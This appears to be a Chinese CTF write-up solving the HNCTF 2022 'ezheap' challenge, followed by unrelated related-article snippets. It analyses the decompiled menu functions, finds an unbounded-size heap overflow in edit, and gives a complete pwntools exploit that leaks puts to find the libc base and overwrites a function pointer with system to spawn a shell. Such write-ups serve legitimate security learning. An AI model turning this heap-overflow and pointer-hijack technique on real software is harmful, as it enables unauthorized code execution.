当前位置: 首页 > article >正文

NSSCTF [HNCTF 2022 WEEK4]

题解前的吐槽:紧拖慢拖还是在前段时间开始学了堆的UAF(虽然栈还没学明白,都好难[擦汗]),一直觉得学的懵懵懂懂,不太敢发题解,这题算是入堆题后一段时间的学习成果,有什么问题各位师傅可以提出来,作者会积极学习改进的[抱拳]

[HNCTF 2022 WEEK4]堆溢出

[HNCTF 2022 WEEK4]

(1)

motaly@motaly-VMware-Virtual-Platform:~$ file ezheap
ezheap: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /home/motaly/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so, BuildID[sha1]=b12e04dbc932d18202bfbea92a529b281e947ec0, for GNU/Linux 3.2.0, not stripped
motaly@motaly-VMware-Virtual-Platform:~$ checksec --file=ezheap
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   RW-RUNPATH   85 Symbols	  No	0		2		ezheap

(2)

更改题目libc版本

motaly@motaly-VMware-Virtual-Platform :~ $ patchelf -- set-interpreter /home/motaly/glibc-all-in-one/libs/2.23-Oubuntu11.3_amd64/ld-2.23.so ./ezheap
motaly@motaly-VMware-Virtual-Platform :~ $ patchelf -- set-rpath /home/motaly/glibc-all-in-one/libs/2.23-Oubuntu11.3_amd64/ ./ezheap
motaly@motaly-VMware-Virtual-Platform :~ $ ldd ezheap
linux-vdso.so.1 (0x0000746229e5f000)
libc.so.6 => /home/motaly/glibc-all-in-one/libs/2.23-Oubuntu11.3_amd64/libc.so.6 (0x0000746229a00000)
/home/motaly/glibc-all-in-one/libs/2.23-Oubuntu11.3_amd64/ld-2.23.so =>/lib64/ld-linux-x86-64.so.2 (0x0000746229e61000)

我这里用的是2.23-0ubuntu11.3_amd64

(3)

ida分析

main函数

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{int n4; // [rsp+Ch] [rbp-4h]init_env(argc, argv, envp);puts("Easy Note.");while ( 1 ){while ( 1 ){menu();n4 = getnum();if ( n4 != 4 )break;edit();}if ( n4 > 4 ){
LABEL_13:puts("Invalid!");}else if ( n4 == 3 ){show();}else{if ( n4 > 3 )goto LABEL_13;if ( n4 == 1 ){add();}else{if ( n4 != 2 )goto LABEL_13;delete();}}}
}

就一个堆题正常的菜单,有增删改查功能,依次查看

add函数

int add()
{__int64 v0; // rbx__int64 v1; // raxint v3; // [rsp+0h] [rbp-20h]int size; // [rsp+4h] [rbp-1Ch]puts("Input your idx:");v3 = getnum();puts("Size:");size = getnum();if ( (unsigned int)size > 0x100 ){LODWORD(v1) = puts("Invalid!");}else{heaplist[v3] = malloc(0x20uLL);                  //系统创建0x20大小的堆块if ( !heaplist[v3] ){puts("Malloc Error!");exit(1);}v0 = heaplist[v3];*(_QWORD *)(v0 + 16) = malloc(size);             //创建一个自定义大小的堆块*(_QWORD *)(heaplist[v3] + 32LL) = &puts;        //在0x20大小的堆块起始地址偏移                                                          0x20处写入puts函数地址if ( !*(_QWORD *)(heaplist[v3] + 16LL) ){puts("Malloc Error!");exit(1);}sizelist[v3] = size;puts("Name: ");if ( !(unsigned int)read(0, (void *)heaplist[v3], 0x10uLL) ){puts("Something error!");exit(1);}puts("Content:");if ( !(unsigned int)read(0, *(void **)(heaplist[v3] + 16LL), sizelist[v3]) ){puts("Error!");exit(1);}puts("Done!");v1 = heaplist[v3];*(_DWORD *)(v1 + 24) = 1;}return v1;
}

这里会泄露puts函数地址

delete函数

_QWORD *delete()
{_QWORD *heaplist; // raxunsigned int n0x10; // [rsp+Ch] [rbp-4h]puts("Input your idx:");n0x10 = getnum();if ( n0x10 <= 0x10 && *(_DWORD *)(heaplist[n0x10] + 24LL) ){free(*(void **)(heaplist[n0x10] + 16LL));free((void *)heaplist[n0x10]);sizelist[n0x10] = 0LL;*(_DWORD *)(heaplist[n0x10] + 24LL) = 0;*(_QWORD *)(heaplist[n0x10] + 16LL) = 0LL;heaplist = heaplist;heaplist[n0x10] = 0LL;}else{puts("Error idx!");return 0LL;}return heaplist;
}

没有UAF漏洞

show函数

__int64 show()
{unsigned int n0x10; // [rsp+Ch] [rbp-4h]puts("Input your idx:");n0x10 = getnum();if ( n0x10 < 0x10 && heaplist[n0x10] ){(*(void (__fastcall **)(_QWORD))(heaplist[n0x10] + 32LL))(heaplist[n0x10]);return (*(__int64 (__fastcall **)(_QWORD))(heaplist[n0x10] + 32LL))(*(_QWORD *)(heaplist[n0x10] + 16LL));}else{puts("Error idx!");return 0LL;}
}

正常的输出

edit函数

ssize_t edit()
{unsigned int n0x10; // [rsp+8h] [rbp-8h]unsigned int nbytes; // [rsp+Ch] [rbp-4h]puts("Input your idx:");n0x10 = getnum();puts("Size:");nbytes = getnum();if ( n0x10 <= 0x10 && heaplist[n0x10] && nbytes <= 0x100 )return read(0, *(void **)(heaplist[n0x10] + 16LL), nbytes);puts("Error idx!");return 0LL;
}

这里修改堆块大小只要小于等于0x100,当修改大小大于原本堆块大小时,会造成堆溢出。

(4)

思路:

这题有堆溢出和泄露了puts函数地址
1.我们可以先得到puts函数地址,来获得libc基址
2.然后修改puts函数地址为system函数地址,写入'/bin/sh'
先创建两个堆块(考虑系统创建的0x20大小chunk和我们后面的覆盖大小,这里选择方便一点的0x10大小)

from pwn import *
context.log_level = "debug"
# io=remote('node5.anna.nssctf.cn',21013)
io= process('/home/motaly/ezheap')
libc=ELF('/home/motaly/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')def add(index, size, name, content):io.sendlineafter("Choice:", "1")io.sendlineafter("Input your idx:", str(index))io.sendlineafter("Size:", str(size))io.sendlineafter("Name:", name)io.sendlineafter("Content:", content)def delete(index):io.sendlineafter("Choice:", "2")io.sendlineafter("Input your idx:", str(index))def show(index):io.sendlineafter("Choice:", "3")io.sendlineafter("Input your idx:", str(index))def edit(index, size, content):io.sendlineafter("Choice:", "4")io.sendlineafter("Input your idx:", str(index))io.sendlineafter("Size:", str(size))io.send(content)add(0, 0x10, "000", "a") #0
add(1, 0x10, "111", "b") #1

可以看到这里0x725a11c6f6a0是puts函数地址
我们需要得到这个地址,edit编辑函数,修改的是堆块内容,所以我们可以从第一个堆块的内容开始覆盖,一直覆盖到第二个堆块的指针处,改写第二个堆块的指针,使其原本指向自己堆块内容的,现在指向puts函数地址,最后通过show函数输出,代码如下

add(0, 0x10, "000", "aaa") #0
add(1, 0x10, "111", "bbb") #1payload = b'A'*24 + p64(0x31) + b'B'*16 + b'\x80'    #0x31长度
edit(0, 0x40, payload)
show(1)

这里的b'A'24是覆盖这一段
 


p64(0x31)是写入第二个堆块的size大小
 


b'B'16是正好这一段
 


最后b'\x80'是改指针的最后一位
 


这里edit修改堆块的大小是根据payload长度,给的大小不能小于payload长度
最后运行的结果是这样的
 


能够输出puts函数地址后,就是接收puts函数地址得到libc基址
这里打远程,直接可以用这一段接收

add(0, 0x10, "000", "aaa") #0
add(1, 0x10, "111", "bbb") #1payload = b'A'*24 + p64(0x31) + b'B'*16 + b'\x80'
edit(0, 0x40, payload)
show(1)libc_base=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b"\x00"))-libc.sym['puts']
log.success('libc_base :'+hex(libc_base))

但本地我这有点问题,一开始我是这样子写的

io.recv()
libc_base=u64(io.recv(7)[-6:].ljust(8,b'\x00'))-libc.sym['puts']
log.success('libc_base :'+hex(libc_base))
gdb.attach(io)
pause()

但是这样子发现他读取了我填充的B值,没读到puts函数地址
 


 


经过我的反复修改,最后选择接收到payload最后的80处,然后计算到puts函数地址首位的距离进行读取

io.recvuntil(b'\x80')
libc_base=u64(io.recv(12)[-6:].ljust(8,b'\x00'))-libc.sym['puts']
log.success('libc_base :'+hex(libc_base))


20到73总共12位
最后就是跟上面一样,再次edit编辑第一块,这次通过溢处把原先第二块的puts函数的地址改为system函数地址,在第二块name处写入'/bin/sh',最后show输出

system = libc_base + libc.sym["system"]
payload = b'A'*24 + p64(0x31)  + b'/bin/sh\x00' + b'B'*24 + p64(system)
edit(0, 0x50, payload)
show(1)


最后汇总的exp脚本如下

from pwn import *
context.log_level = "debug"
io=remote('node5.anna.nssctf.cn',21013)
# io= process('/home/motaly/ezheap')
libc=ELF('/home/motaly/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')def add(index, size, name, content):io.sendlineafter("Choice:", "1")io.sendlineafter("Input your idx:", str(index))io.sendlineafter("Size:", str(size))io.sendlineafter("Name:", name)io.sendlineafter("Content:", content)def delete(index):io.sendlineafter("Choice:", "2")io.sendlineafter("Input your idx:", str(index))def show(index):io.sendlineafter("Choice:", "3")io.sendlineafter("Input your idx:", str(index))def edit(index, size, content):io.sendlineafter("Choice:", "4")io.sendlineafter("Input your idx:", str(index))io.sendlineafter("Size:", str(size))io.send(content)add(0, 0x10, "000", "aaa") #0
add(1, 0x10, "111", "bbb") #1payload = b'A'*24 + p64(0x31) + b'B'*16 + b'\x80'
edit(0, 0x40, payload)
show(1)libc_base=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b"\x00"))-libc.sym['puts']
# io.recvuntil(b'\x80')
# libc_base=u64(io.recv(12)[-6:].ljust(8,b'\x00'))-libc.sym['puts']
log.success('libc_base :'+hex(libc_base))system = libc_base + libc.sym["system"]
payload = b'A'*24 + p64(0x31)  + b'/bin/sh\x00' + b'B'*24 + p64(system)
edit(0, 0x50, payload)
show(1)io.interactive()

相关文章:

NSSCTF [HNCTF 2022 WEEK4]

题解前的吐槽&#xff1a;紧拖慢拖还是在前段时间开始学了堆的UAF(虽然栈还没学明白&#xff0c;都好难[擦汗])&#xff0c;一直觉得学的懵懵懂懂&#xff0c;不太敢发题解&#xff0c;这题算是入堆题后一段时间的学习成果&#xff0c;有什么问题各位师傅可以提出来&#xff0c…...

Step1

项目 SchedulerSim 已搭建完成 ✅ ⸻ ✅ 你现在拥有的&#xff1a; • &#x1f527; 两种调度器&#xff08;Round Robin SJF&#xff09; • &#x1f4e6; 模拟进程类 Process • &#x1f9f1; 清晰结构&#xff1a;OOP 风格 便于扩展 • ✍️ 主函数已演示调度器运行效…...

tornado_登录页面(案例)

目录 1.基础知识​编辑 2.脚手架&#xff08;模版&#xff09; 3.登录流程图&#xff08;processon&#xff09; 4.登录表单 4.1后&#xff08;返回值&#xff09;任何值&#xff1a;username/password &#xff08;4.1.1&#xff09;app.py &#xff08;4.1.2&#xff…...

YOLOv12模型部署(保姆级)

一、下载YOLOv12源码 1.通过网盘分享的文件&#xff1a;YOLOv12 链接: https://pan.baidu.com/s/12-DEbWx1Gu7dC-ehIIaKtQ 提取码: sgqy &#xff08;网盘下载&#xff09; 2.进入github克隆YOLOv12源码包 二、安装Anaconda/pycharm 点击获取官网链接(anaconda) 点击获取…...

BGP实验练习1

需求&#xff1a; 要求五台路由器的环回地址均可以相互访问 需求分析&#xff1a; 1.图中存在五个路由器 AR1、AR2、AR3、AR4、AR5&#xff0c;分属不同自治系统&#xff08;AS&#xff09;&#xff0c;AR1 在 AS 100&#xff0c;AR2 - AR4 在 AS 200&#xff0c;AR5 在 AS …...

Three.js知识框架

一、Three.js 基础概念 1. Three.js 简介 是什么&#xff1f; 基于 WebGL 的 3D JavaScript 库&#xff0c;用于在浏览器中渲染 3D 场景。 核心优势 简化 WebGL 的复杂 API&#xff0c;提供高层封装。 跨平台&#xff08;支持桌面和移动端&#xff09;。 适用场景 3D 可视…...

AWS技术助力企业满足GDPR合规要求

GDPR(通用数据保护条例)作为欧盟严格的数据保护法规,给许多企业带来了合规挑战。本文将探讨如何利用AWS(亚马逊云服务)的相关技术来满足GDPR的核心要求,帮助企业实现数据保护合规。 一、GDPR核心要求概览 GDPR的主要目标是保护欧盟公民的个人数据和隐私权。其核心要求包括: 数…...

HTML、CSS 和 JavaScript 基础知识点

HTML、CSS 和 JavaScript 基础知识点 一、HTML 基础 1. HTML 文档结构 <!DOCTYPE html> <html lang"zh-CN"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.…...

数据结构与算法分析实验12 实现二叉查找树

实现二叉查找树 1、二叉查找树介绍2.上机要求3.上机环境4.程序清单(写明运行结果及结果分析)4.1 程序清单4.1.1 头文件 TreeMap.h 内容如下&#xff1a;4.1.2 实现文件 TreeMap.cpp 文件内容如下&#xff1a;4.1.3 源文件 main.cpp 文件内容如下&#xff1a; 4.2 实现展效果示5…...

使用 Semantic Kernel 调用 Qwen-VL 多模态模型

使用 Semantic Kernel 调用 Qwen-VL 多模态模型 一、引言 随着人工智能技术的不断发展&#xff0c;多模态模型逐渐成为研究的热点。Qwen-VL 是阿里云推出的大规模视觉语言模型&#xff0c;支持图像、文本等多种输入形式&#xff0c;并能够进行图像描述、视觉问答等多种任务。…...

请求内存算法题

题意描述 有两个数组输入&#xff1a; mem [32,128,64,192,256]表示有数组长度个设备&#xff0c;每个设备能提供分配的内存大小值(均为4的倍数)&#xff0c;数组最大长度200000 reques [64,128,128,128,512]表示请求内存&#xff0c;在mem中找与请求内存大小最相近或相等的…...

(4)python开发经验

文章目录 1 使用ctypes库调用2 使用pybind11 更多精彩内容&#x1f449;内容导航 &#x1f448;&#x1f449;Qt开发 &#x1f448;&#x1f449;python开发 &#x1f448; 1 使用ctypes库调用 说明&#xff1a;ctypes是一个Python内置的库&#xff0c;可以提供C兼容的数据类型…...

深度剖析 GpuGeek 实例:GpuGeek/Qwen3-32B 模型 API 调用实践与性能测试洞察

深度剖析 GpuGeek 实例&#xff1a;GpuGeek/Qwen3-32B 模型 API 调用实践与性能测试洞察 前言 GpuGeek专注于人工智能与高性能计算领域的云计算平台&#xff0c;致力于为开发者、科研机构及企业提供灵活、高效、低成本的GPU算力资源。平台通过整合全球分布式数据中心资源&#…...

MindSpore框架学习项目-ResNet药物分类-数据增强

目录 1.数据增强 1.1设置运行环境 1.1.1数据预处理 数据预处理代码解析 1.1.2数据集划分 数据集划分代码说明 1.2数据增强 1.2.1创建带标签的可迭代对象 1.2.2数据预处理与格式化&#xff08;ms的data格式&#xff09; 从原始图像数据到 MindSpore 可训练 / 评估的数…...

e.g. ‘django.db.models.BigAutoField‘.

在Django框架中&#xff0c;django.db.models.BigAutoField 是一个用于数据库模型的字段类型&#xff0c;它用于自动增长的ID字段。这个字段类型特别适用于需要处理大量数据的应用&#xff0c;比如在大型网站或应用中&#xff0c;普通的 AutoField 可能不足以存储增长的ID值&am…...

ACM算法

在ACM模式下使用JavaScript/TypeScript获取输入值 在ACM编程竞赛或在线判题系统(如LeetCode、牛客网等)中&#xff0c;JavaScript/TypeScript需要特定的方式来获取输入值。以下是几种常见的获取输入的方法&#xff1a; 1. 使用Node.js的readline模块 这是最常见的处理ACM模式…...

MySQL入门指南:环境搭建与服务管理全流程

引言 各位开发者朋友们好&#xff01;今天我们将开启MySQL的学习之旅 &#x1f31f; 作为世界上最流行的开源关系型数据库&#xff0c;MySQL在Web应用、企业系统等领域占据着举足轻重的地位。无论你是刚入行的新手&#xff0c;还是想系统复习的老鸟&#xff0c;这篇教程都将为…...

【MySQL】别名设置与使用

个人主页&#xff1a;Guiat 归属专栏&#xff1a;MySQL 文章目录 1. 别名基础概念2. 列别名设置2.1 基础语法2.2 特殊字符处理2.3 计算字段示例 3. 表别名应用3.1 基础表别名3.2 自连接场景 4. 高级别名技术4.1 子查询别名4.2 CTE别名 5. 别名执行规则5.1 作用域限制5.2 错误用…...

【内网渗透】——S4u2扩展协议提权以及KDC欺骗提权

【内网渗透】——S4u2扩展协议提权以及KDC欺骗提权 文章目录 【内网渗透】——S4u2扩展协议提权以及KDC欺骗提权[toc]一&#xff1a;Kerberos 委派攻击原理之 S4U2利用1.1原理1.2两种扩展协议**S4U2Self (Service for User to Self)****S4U2Proxy (Service for User to Proxy)*…...

枢轴支压点策略

一种基于枢轴点&#xff08;Pivot Point&#xff09;的交易策略&#xff0c;主要用于在趋势行情中进行交易。 策略的核心思路是通过计算前一天的最高价、最低价和收盘价来确定当天的枢轴点&#xff0c;并据此计算出第一和第二阻力位以及第一和第二支撑位。 可以根据这些关键点位…...

Manus逆向工程:AI智能体的“思考”与“行动”

写在前面 本篇博客将基于 Manus 测试的行为日志,尝试反向推演其内部的核心逻辑。我们将探讨它如何巧妙地融合了计划-执行(Plan-Execute) 和 ReAct(Reasoning and Acting,即思考与行动) 两种范式,并灵活运用浏览器和 Python 解释器等工具来攻克复杂任务。 基本逻辑:从…...

Linux——CMake的快速入门上手和保姆级使用介绍、一键执行shell脚本

目录 一、前言 二、CMake简介 三、CMake与其他常见的构建、编译工具的联系 四、CMake入门 1、CMake的使用注意事项 2、基本的概念和术语 3、CMake常用的预定义变量 4、CMakeLists.txt文件的基本结构 五、上手实操 1、示例 ​编辑 2、一个正式的工程构建 2.1基本构…...

Keil5 MDK 安装教程

## 简介 Keil MDK&#xff08;Microcontroller Development Kit&#xff09;是ARM开发的一款集成开发环境&#xff08;IDE&#xff09;&#xff0c;主要用于ARM Cortex-M系列微控制器的开发。MDK包含了μVision IDE和调试器、ARM C/C编译器、中间件组件等工具。本教程将指导您完…...

深入浅出 IPFS 在 DApps 和 NFT 中的应用:以 Pinata 实战为例

目录 IPFS背景什么是 IPFS?IPFS 在 DApps 与 NFT 中的作用什么是 Pinata?为什么使用它?使用原生IPFS上传下载文件(HTML + JavaScript 示例)使用Pinata上传下载文件(HTML + JavaScript 示例)注册并创建APIKey使用 Pinata 上传文件和JSON(HTML + JavaScript 示例)总结IP…...

如何高效集成MySQL数据到金蝶云星空

MySQL数据集成到金蝶云星空&#xff1a;SC采购入库-深圳天一-OK案例分享 在企业信息化建设中&#xff0c;数据的高效流转和准确对接是实现业务流程自动化的关键。本文将聚焦于一个具体的系统对接集成案例——“SC采购入库-深圳天一-OK”&#xff0c;详细探讨如何通过轻易云数据…...

通过POI实现对word基于书签的内容替换、删除、插入

一、基本概念 POI&#xff1a;即Apache POI&#xff0c; 它是一个开源的 Java 库&#xff0c;主要用于读取 Microsoft Office 文档&#xff08;Word、Excel、PowerPoint 等&#xff09;&#xff0c;修改 或 生成 Office 文档内容&#xff0c;保存 为对应的二进制或 XML 格式&a…...

FlashInfer - 测试的GPU H100 SXM、A100 PCIe、RTX 6000 Ada、RTX 4090

FlashInfer - 测试的GPU H100 SXM、A100 PCIe、RTX 6000 Ada、RTX 4090 flyfish GPU 技术参数术语 1. Memory bandwidth (GB/s) 中文&#xff1a;显存带宽&#xff08;单位&#xff1a;GB/秒&#xff09; 定义&#xff1a;显存&#xff08;GPU 内存&#xff09;与 GPU 核心…...

MCP:开启AI的“万物互联”时代

MCP&#xff1a;开启AI的“万物互联”时代 ——从协议标准到生态革命的技术跃迁 引言&#xff1a;AI的“最后一公里”困境 在2025年的AI技术浪潮中&#xff0c;大模型已从参数竞赛转向应用落地之争。尽管模型能生成流畅的对话、创作诗歌甚至编写代码&#xff0c;但用户逐渐发现…...

企业级IP代理解决方案:负载均衡与API接口集成实践

在全球化业务扩张与数据驱动决策的背景下&#xff0c;企业级IP代理解决方案通过负载均衡技术与API接口集成&#xff0c;可有效应对高频请求、反爬机制及合规风险。以下是基于企业级场景的核心实践要点&#xff1a; 一、负载均衡与IP代理的深度协同 动态IP池的负载均衡策略 轮询…...

Vector和list

一、Vector和list的区别——从“它们是什么”到“区别在哪儿” 1. 它们是什么&#xff1f; Vector&#xff1a;类似于一排排整齐的书架&#xff08;数组&#xff09;&#xff0c;存放元素时&#xff0c;元素排成一条线&#xff0c;连续存储。可以很快通过编号&#xff08;索引…...